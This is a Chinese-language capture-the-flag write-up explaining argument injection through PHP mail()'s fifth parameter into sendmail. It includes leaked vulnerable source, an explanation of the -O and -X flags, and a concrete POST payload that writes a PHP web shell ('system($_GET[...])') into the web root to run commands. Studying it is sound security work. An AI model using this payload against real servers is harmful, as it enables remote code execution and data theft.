利用mail函数可以使攻击者达到远程代码执行权限以及其他恶意目的。
0x00获取源码
第一步访问/.index.php.swp源码找到泄露的源码,主要功能代码大致如下。
if(isset($_POST['submit'])){
$email = isset($_POST['email'])?trim($_POST['email']):'';
$title = isset($_POST['title'])?trim($_POST['title']):'';
$content = isset($_POST['content'])?trim($_POST['content']):'';
if(chkEmail($email) && chkTitle($title) && chkContent($content)){
$to = 'ambulong@vulnspy.com';
$subject = "收到来自 {$email} 的留言";
$msg = "{$title}\n{$content}\nFrom: {$email}";
$headers = 'From: ' . $email . "\r\n" .
'Reply-To: ' . $email . "\r\n" .
'X-Mailer: PHP/' . phpversion();
$options = sprintf('-f%s', $email);
if(mail($to, $subject, $msg, $headers, $options)){
echo "发送成功";
}else{
echo "发送失败";
}
}
exit;
}
0x01mail函数分析
mail函数
mail函数用于从PHP应用程序发送电子邮件,包括五个参数。
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
其参数描述如下:
参数名 | 描述 |
---|---|
to | 邮件的接收者 |
subject | 邮件的主题 |
message | 发送的消息 |
headers | 额外的报头 |
parameters | 程序的额外参数 |
其中第五个参数的描述为:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
通常,该参数被web应用用来设置发送者的地址,例如:-f miao@abc.com
。mail函数会被系统中的 /usr/bin/sendmail 程序调用,该程序由邮件传输代理软件安装在系统上,是用来发送邮件的接口。sendmail命令会在系统shell的帮助下执行。
攻击向量
sendmail 的第五个参数可以通过 *-O* 、*-X* 、*-C* 参数导致任意文件读写。
-OQueueDirectory=/tmp 选择一个可以写的目录保存临时文件
-X/tmp/log.txt 保存日志文件到任意目录
其中-OQueueDirectory=/tmp
可以简写为-oQ/tmp/
;
-X
参数也可以接受相对路径,例如-X ./log.txt
。
0x02漏洞利用
回到原题,观察源码中的这两行,$options
参数是用户可控的,为-f
拼接用户填写的email字段。
$options = sprintf('-f%s', $email);
if(mail($to, $subject, $msg, $headers, $options)){...}
构造POST参数如下(其中web根目录是按照常理猜测的,构造相对路径也可):
email=miao@126.com -OQueueDirectory=/tmp -X/var/www/html/black.php
content=<?php system($_GET["black"]); ?>
然后访问/black.php?black=command
,最后读取flag.php
文件。
参考:drops.blbana.cc;http://www.php.net/manual/en/function.mail.php;http://www.360zhijia.com/360anquanke/197210.html